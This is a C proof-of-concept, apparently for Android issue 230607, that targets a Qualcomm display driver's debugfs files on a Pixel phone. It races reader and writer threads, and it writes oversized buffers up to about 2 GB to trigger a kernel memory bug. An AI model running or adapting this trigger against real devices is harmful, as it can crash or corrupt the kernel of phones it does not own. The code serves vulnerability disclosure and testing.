/*
 * https://code.google.com/p/android/issues/detail?id=230607
 * The poc was tested in pixel, 
 * google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com, 201612134
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <pthread.h>

#define DEBUG                                               
#ifdef DEBUG                                             
#define LOG(fmt, ...) do { \
	printf("%s:%d: "fmt "\n", __FUNCTION__, \
			__LINE__, ##__VA_ARGS__); \
} while (0) 
#else
#define LOG(fmt, ...) 
#endif


char *dsicmd_path = "/sys/kernel/debug/mdss_panel_fb0/intf0/dsi_ctrl_pdata/";
int fd = -1;

int open_file(char* filename)
{
	int fd;
	char file[125] = {0};

	sprintf(file, "%s%s", dsicmd_path, filename);

	fd = open(file, O_RDWR);
	if(fd<0) {
		LOG("open %s fail %s\n",file, strerror(errno));
		exit(1);
	}
	LOG("[%d] open %s succ return fd %d\n",gettid(),file, fd);
	
	return fd;
}

#define SIZE 128 
int test_write(int fd, int size)
{
	int ret;
	char buf[SIZE] = {0};
	ret = write(fd, buf, size);
	if(ret<0) {
		LOG("write fail %s\n",strerror(errno));
	} else LOG("[%d] succ write %d byte to fd %d\n",gettid(), ret, fd);
	return ret;
}

int test_read(int fd, int size)
{
	int ret;
	char buf[SIZE] = {0};
	ret = read(fd, buf, size);
	if(ret<0) {
		LOG("read fail %s\n",strerror(errno));
	} else LOG("[%d] succ read value: %s,  size:%d\n",gettid(), buf, ret);
	return ret;
}

int totalread = 0;
void WriteThread(void) {
	while (1) {
		test_write(fd,1);  
		sleep(0.5);
		if(totalread > 190) break;
	}
}

void ReadThread(void) {
	while(1) { 
		totalread += test_read(fd, 2); 
		sleep(0.5);
		if(totalread > 190) break;
	}
}

void trigger()
{
	int i, ret;
	pthread_t tid_write;
	pthread_t tid_read;

	fd = open_file("dsi_on_cmd");
	//fd = open_file("dsi_off_cmd");

	ret = pthread_create((pthread_t *) &tid_write, NULL, (void *) WriteThread, NULL);
	ret = pthread_create((pthread_t *) &tid_read, NULL, (void *) ReadThread, NULL);

	i = 5;
	do {
		sleep(1);
	} while(i-- > 0);

	pthread_join(tid_write, NULL);
	pthread_join(tid_read, NULL);
}

void test()
{
	int fd;
	unsigned count;
	char* buf;
	fd = open_file("dsi_on_cmd");

	count = 0xfff+1;
	buf = malloc(count);
	write(fd, buf, count);

	getchar();

	count = 0x7ffff000;
	buf = realloc(buf, count);
	write(fd, buf, count);
}

	int
main(int argc, char *argv[])
{
	test();
	//trigger();
	return 0;
}
